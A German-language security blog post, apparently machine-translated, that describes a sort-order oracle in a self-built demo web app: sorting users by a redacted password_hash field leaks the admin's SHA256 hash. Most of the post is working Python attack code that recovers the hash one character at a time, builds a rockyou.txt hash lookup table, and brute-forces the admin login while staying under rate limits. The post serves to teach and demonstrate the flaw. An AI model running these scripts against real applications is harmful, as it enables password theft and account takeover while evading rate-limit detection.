Sortieren Sie Ihren Weg zu gestohlenen Passwörtern
Einführung
Kürzlich bin ich auf eine einzigartige Sicherheitslücke gestoßen, die es mir ermöglichte, einen Passwort-Hash zu extrahieren, obwohl es den Anschein hatte, dass die Daten ordnungsgemäß geschwärzt wurden.
Um die praktischen Auswirkungen dieser Sicherheitslücke zu demonstrieren, habe ich ein Skript entwickelt, das eine zeichenweise Vergleichsmethode verwendet und nach und nach den Admin-Passwort-Hash erstellt, indem Benutzer sortiert und ihre Positionen beobachtet werden. Dieser Ansatz war zwar zeitaufwändig, bot aber eine einzigartige Gelegenheit, SHA256-Passwort-Hashes zu knacken, ohne auf herkömmliche Brute-Force-Techniken zurückgreifen zu müssen.
Erkunden der Webanwendung
Um diese Sicherheitslücke zu veranschaulichen, habe ich eine Demo-Webanwendung erstellt, die diese Sicherheitslücke simuliert. Diese Demo ist dockerisiert und kann hier heruntergeladen werden, wenn Sie sie auf Ihrem eigenen Computer ausprobieren möchten. Die Webanwendung sieht so aus:
Die Anwendung ist einfach und besteht aus einer Benutzertabelle mit Optionen zum Sortieren, Hinzufügen eines neuen Benutzers und Löschen aller Benutzer. In einem realen Szenario wäre diese Funktionalität wahrscheinlich fortschrittlicher und durch die Authentifizierung geschützt.
Den Fehler finden
Bei der Durchführung meiner standardmäßigen Webanwendungssicherheitsmethode ist mir etwas Interessantes in Bezug auf die Benutzertabelle aufgefallen. Mit der Burp Suite konnte ich sehen, dass eine Anfrage gesendet wurde, als ich die Seite index.html ansah, die die Benutzer in der Tabelle sortierte:
Nun, das war nicht besonders ungewöhnlich, aber nachdem ich verschiedene Möglichkeiten zum Sortieren der Spalte ausprobiert hatte, stellte ich fest, dass sich die Benutzerpositionen änderten, als ich nach „password_hash“ sortierte !
Das war ziemlich seltsam, da im Screenshot oben alle Hashes ZENSIERT sind und sie ihre Position beim Sortieren nach diesem Feld nicht ändern sollten??
Um herauszufinden, warum dies geschah, habe ich den Code analysiert und Folgendes gefunden:
# Getting users for the table on index.html
@app.route('/users')
def get_users():
sort_col = request.args.get('sort_col', default='id')
sort_order = request.args.get('sort_order', default='asc')
sorted_users = sorted(
users, key=lambda u: u[sort_col], reverse=(sort_order == 'dec'))
redacted_users = []
for user in sorted_users:
redacted_user = user.copy()
redacted_user['password_hash'] = 'REDACTED'
redacted_users.append(redacted_user)
return jsonify(redacted_users)
Theoretisch könnten wir, wenn wir den Passwort-Hashing-Mechanismus (normalerweise SHA256, MD5 oder bcrypt) kennen oder erraten könnten, einen neuen Benutzer mit einem Passwort erstellen, dessen Hash wir kennen, und diesen zum Sortieren der zu bestimmenden Benutzer verwenden das Passwort des Admin-Benutzers.
Im Diagramm oben lautet das Administratorkennwort donut und hat einen SHA256-Hash von 2f63371bea3c61d9fdba4469984bd22f2cc2381d23e031634f0387bdd97bd28f .
Mein Ziel ist es, den Admin-Benutzer in der Liste vor mir zurückzugeben. Wenn das passiert, weiß ich, dass mein Hash mit einem Wert vor den Administratoren beginnt. Im obigen Fall ist mein Hash also kleiner als der von Admins, daher wird [me, admin] zurückgegeben.
In diesem Diagramm habe ich mein Passwort auf 72yY2GEp41 aktualisiert, was zu einem SHA256-Hash von 240ba23967c8a19f98e7315b1198b1aebd203836435c5f0d03dbfd84d11853db führte . Wenn ich die Funktion check() ausführe , bin ich immer noch der Erste in der Liste. Die Funktion überprüft jedoch, ob die ersten Zeichen gleich „2“ == „2“ sind, und prüft dann das nächste Zeichen „f“ > „4“, das zuerst meinen Hash zurückgeben würde.
Wenn schließlich mein Passwort-Hash mit dem Zeichen „3“ beginnt, ist das größer als der Passwort-Hash des Administrators, der mit einer „2“ beginnt. Daher kehrt der Administrator an erster Stelle in der Liste zurück und wir können feststellen, dass der Passwort-Hash des Administrators eine „2“ im Index[0]-Slot hat ! Ziemlich cool, oder! Lassen Sie uns diese Theorie nun in Code umwandeln.
Die Theorie in Code umwandeln
Meine Herangehensweise an dieses Problem ist eher langsam. Wenn Sie also eine effizientere Möglichkeit kennen, dies zu tun, kommentieren Sie es bitte und lassen Sie es mich wissen!
Der Prozess, den ich zum Extrahieren des Admin-Passwort-Hashs durchgeführt habe, ist wie folgt:
- Schreiben Sie einige Funktionen zum Erstellen eines neuen Benutzers mit einem Passwort meiner Wahl, zum Löschen der Benutzertabelle und zum Sortieren der Benutzer. Der Code, den ich dafür erstellt habe, ist der folgende:
domain = "lab.prodefense.io"
def create_user(email='[email protected]', name='matt', password='hackyhack'):
url = f"http://{domain}/users"
json = {"email": email, "name": name, "password": password}
requests.post(url, json=json)
def clear_users():
url = f"http://{domain}/users"
requests.delete(url)
def sort_users(direction='asc'):
url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
r = requests.get(url)
return r.text
2. Als nächstes habe ich eine Funktion namens check() erstellt , um zu sehen, ob die JSON-Antwort der Funktion sort_users() die Benutzertabelle mit dem Admin-Benutzer an erster oder zweiter Stelle in der Liste zurückgibt :
def check():
users = json.loads(sort_users())
return users[0]['id'] == 1
3. Ich musste nun in der Lage sein, einen SHA256-Hash zu finden, der mit einem Präfix begann, und sowohl die zum Generieren dieses Hashs verwendete Zeichenfolge als auch den Hash selbst zurückzugeben.
Wenn ich zum Beispiel weiß, dass mein admin_hash: 8c 6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 ist
Dann muss ich einen Hash erstellen, nach dem ich ihn sortieren kann. Mein_hash könnte also so aussehen: 87 227afead5d3d1a5b89bf07a673510114b1d98d473d43e0ff7e3b230032311e . Die Idee dabei ist, dass ich, da ich die Datenbank sortieren kann, feststellen kann, ob der admin_hash im Vergleich zu my_hash aufsteigend oder absteigend ist. Also würde 8c6976e… zuerst vor 87227af erscheinen… weil die 8er gleich sind, aber „c“ vor „ 7“ steht , wenn meine Sortierung nach absteigenden Werten erfolgt . Bekomme eine Vorstellung?
Jetzt muss ich nur noch Zeichen für Zeichen vorgehen und Hashes mit einem Präfix erstellen, bis ich sowohl das Klartext-Passwort des Administrators als auch dessen Hash habe. Dazu sah mein Code so aus:
def gen_hash(prefix):
while True:
random_string = ''.join(random.choices(
string.ascii_letters + string.digits, k=10))
sha256_hash = hashlib.sha256(random_string.encode()).hexdigest()
if sha256_hash.startswith(prefix):
return random_string, sha256_hash
4. Sobald diese Funktion funktionierte, war das Letzte, was ich brauchte, die Logik, um Zeichen für Zeichen durcheinander zu bringen , bis ich einen Hash bekam, der mit den Admins übereinstimmte! Dazu sah mein Code so aus:
if __name__ == '__main__':
# SHA256 hashes can only have 0-9, a-f which limits our bank significantly.
bank = '0123456789abcdef'
value = []
# 64 chars is the length of a SHA256 hash
while len(value) <= 64:
found_match = False
for char in bank:
# Sends the POST request to clear all users but admin
clear_users()
# Ill talk about the 'ff' below :sad-doge:
rand_string, hash = gen_hash("".join(value) + char + 'ff')
# Creates a new user, with the random string that has our prefix
create_user(password=rand_string)
# Checking to see if admin comes first or second in the table
if check():
value.append(char)
found_match = True
break
# Adds some animation because who likes boring CLIs
print(f"[!] ADMIN HASH: {''.join(value)}{char}", end='\r')
time.sleep(0.1)
if not found_match:
value.append('0' if not value else 'f')
print("\n[!] FINAL ADMIN HASH: " + ''.join(value))
Wenn Sie den gesamten Code zusammenfügen, sollten Sie in Ihrer Konsole insgesamt etwa das folgende GIF sehen:
Sie können im GIF sehen, dass ich nur ein paar Zeichen bekomme und es dann wirklich langsamer wird. Das liegt daran, dass wir das Passwort des Admin-Benutzers im wahrsten Sinne des Wortes brutal erzwingen. Dies stellt eine große Einschränkung dar und würde wahrscheinlich dazu führen, dass der Angreifer viel Zeit mit der Generierung von Passwörtern verbringen würde. Der einzige Unterschied zu einer generischen Bruteforce-Methode besteht darin, dass die Einschränkung auf die Rechenleistung Ihres Computers zurückzuführen ist. Das Finden von Hashes, die mit mehr als 5 Zeichen beginnen, nimmt viel Zeit in Anspruch, es sei denn, Sie berechnen die Hashes im Voraus oder haben eine große Regenbogentabelle zum Nachschlagen. Insgesamt würde ein solcher vollständiger Bruteforce-Vorgang wahrscheinlich etwa 500 Anfragen an den Server erfordern und Sie müssten eine Menge Strings generieren, um den richtigen Hash-Wert zu erhalten.
Nicht die typische Bruteforce
Die Demoanwendung verfügt über eine integrierte Ratenbegrenzung mit 200 Anforderungen/Std. an den Hauptendpunkten und 20 Anforderungen/Std. am Anmeldeendpunkt. Vor diesem Hintergrund würde ein Brute-Force-Angriff wahrscheinlich Millionen, wenn nicht Milliarden von Anfragen erfordern, um das Passwort zu erraten. Aber was wäre, wenn ich Ihnen sagen würde, dass wir es mit weniger als 200 Anfragen schaffen würden? Lassen Sie uns untersuchen, wie es funktionieren würde.
Ähnlich wie bei dem Ansatz, den ich mit dem ersten Skript „solve.py“ gewählt habe, gehen wir bei diesem Ansatz davon aus, dass das Passwort zufällig aus rockyou.txt ausgewählt wird . Das ist zwar ein bisschen Betrug, aber rockyou.txt hat 14.344.394 (14 Millionen) Passwörter in der Liste. Wir müssen das Passwort in weniger als 200 Anfragen „erraten“, um einer Entdeckung und dem Ratenlimit zu entgehen. Lass uns anfangen.
- Ähnlich wie beim ersten Skript „solve.py“ werde ich dieselben Funktionen verwenden, die mit der Webanwendung interagieren, aber ich werde auch eine Anmeldefunktion erstellen:
domain = "lab.prodefense.io"
def create_user(email='[email protected]', name='matt', password='hackyhack'):
url = f"http://{domain}/users"
json = {"email": email, "name": name, "password": password}
requests.post(url, json=json)
def clear_users():
url = f"http://{domain}/users"
requests.delete(url)
def sort_users(direction='asc'):
url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
r = requests.get(url)
return r.text
def login(username, password):
url = f"http://{domain}/login"
json = {"username": username, "password": password}
r = requests.post(url, json=json)
return r.status_code
import hashlib
with open('rockyou.txt', 'r', encoding='utf-8') as input_file:
with open('combined.txt', 'w') as output_file:
for line in input_file:
line = line.strip()
hashed_line = hashlib.sha256(line.encode()).hexdigest()
output_file.write(f'{hashed_line},{line}\n')
print('Conversion completed. Check combined.txt file.')
2. Jetzt musste ich eine Funktion schreiben, die ähnlich wie meine Funktion „gen_hash(prefix)“ funktionieren kann , aber unsere neue Datei „combined.txt“ durchsuchen muss, um Hashes zu finden, die der Passwort-Hash des Benutzers basierend auf dem Präfix sein könnten . Ich wette, du verstehst jetzt, worauf ich damit hinauswill :)
def find_hashes(prefix):
hashes = []
passwords = []
with open('combined.txt', 'r', errors='replace') as file:
for line in file:
line = line.strip()
if line.startswith(prefix):
values = line.split(',')
if len(values) == 2:
sha256, password = values
hashes.append(sha256)
passwords.append(password)
return hashes, passwords
3. Die Seite /login erlaubt nur 20 Anfragen pro Stunde. Davon abgesehen musste ich meinen Präfixwert lange genug abrufen, um die Funktion find_hashes() aufrufen und 20 (oder weniger) Passwörter zurückgeben zu können, die mit einem bestimmten Präfixwert beginnen.
Possible password hashes (notice they all start with the prefix):
hash_prefix: "b60d9"
055555:b60d92f92101e5210a530631ec3ad59c32ecdc3fd3ab75ac1291cedcaf6fee77
cordelius:b60d914e40a9572820f571d8cf38e8425742a8a1cd6c5586f35a6c7e73e39dcf
terfase:b60d920aa0cabdbdcf7447632bcdb9456a35c4378db17137066aee36d3aeea12
obolku:b60d9db875658b618b27f0a2d4c869628a9f937ea6c1a0172d4a6acc2f219846
escuelapan2:b60d9852d3325c01b7556719dd1e9b684017b8306fc1902eb9e6298250459735
...etc...
def bruteforce(password_list):
for pwd in password_list:
if login('admin', pwd) == 200:
print(
f"[!] ADMIN PASSWORD: {colored(pwd, 'green')}")
sys.exit(0)
if __name__ == '__main__':
api_call_count = 0
prefix = ""
bank = '0123456789abcdef'
for i in range(10):
found_match = False
for char in bank:
clear_users()
pwd, hash_value = gen_hash(prefix+char+'f')
create_user(password=pwd)
api_call_count += 3
if check():
found_match = True
prefix += char
tmp_hashes, tmp_passwords = find_hashes(prefix)
if (len(tmp_hashes) < 20):
print(
f"[!] PARTIAL ADMIN HASH: {colored(prefix, 'green')}")
bruteforce(tmp_passwords)
break
print(
f"[!] FINDING HASH: {prefix}{colored(char, 'red')} - [INFO] API Calls Sent: {api_call_count}/200'", end='\r')
time.sleep(0.2)
if not found_match:
hash += 'f' if hash else '0'
Dieses Skript „solve.py“ dauert 2 Minuten und 30 Sekunden und verwendet 87 Anfragen. Der Passwort-Hash ist in der Wortliste rockyou.txt , die 14.344.394 (14 Millionen) Passwörter enthält, völlig zufällig.
Abschluss
Auch wenn meine Demo-Webanwendung möglicherweise keine Auszeichnung für die „sicherste Web-App des Jahres“ erhalten hat, zeigt sie auf jeden Fall, wie einzigartig manche Fehler sein können und warum chatGPT mir in absehbarer Zeit nicht den Job wegnehmen wird.
Spaß beiseite: Diese Sicherheitslücke, die es Angreifern ermöglicht, an gestohlene Passwörter zu gelangen, wirft ein Licht auf die potenziellen Risiken, die in scheinbar harmlosen Funktionen lauern. Durch gründliche Analyse und einen cleveren Ansatz können Angreifer, wenn sie nicht vorsichtig sind, Passwort-Hashes aus anfälligen Webanwendungen extrahieren.
Hinweis: Wenn Ihnen dieser Blogbeitrag gefällt und Sie versuchen möchten, Ihr eigenes Lösungsskript zu erstellen, habe ich einen Docker-Container erstellt, der das Administratorkennwort zufällig generiert, das hier heruntergeladen werden kann . Viel Spaß beim Hacken!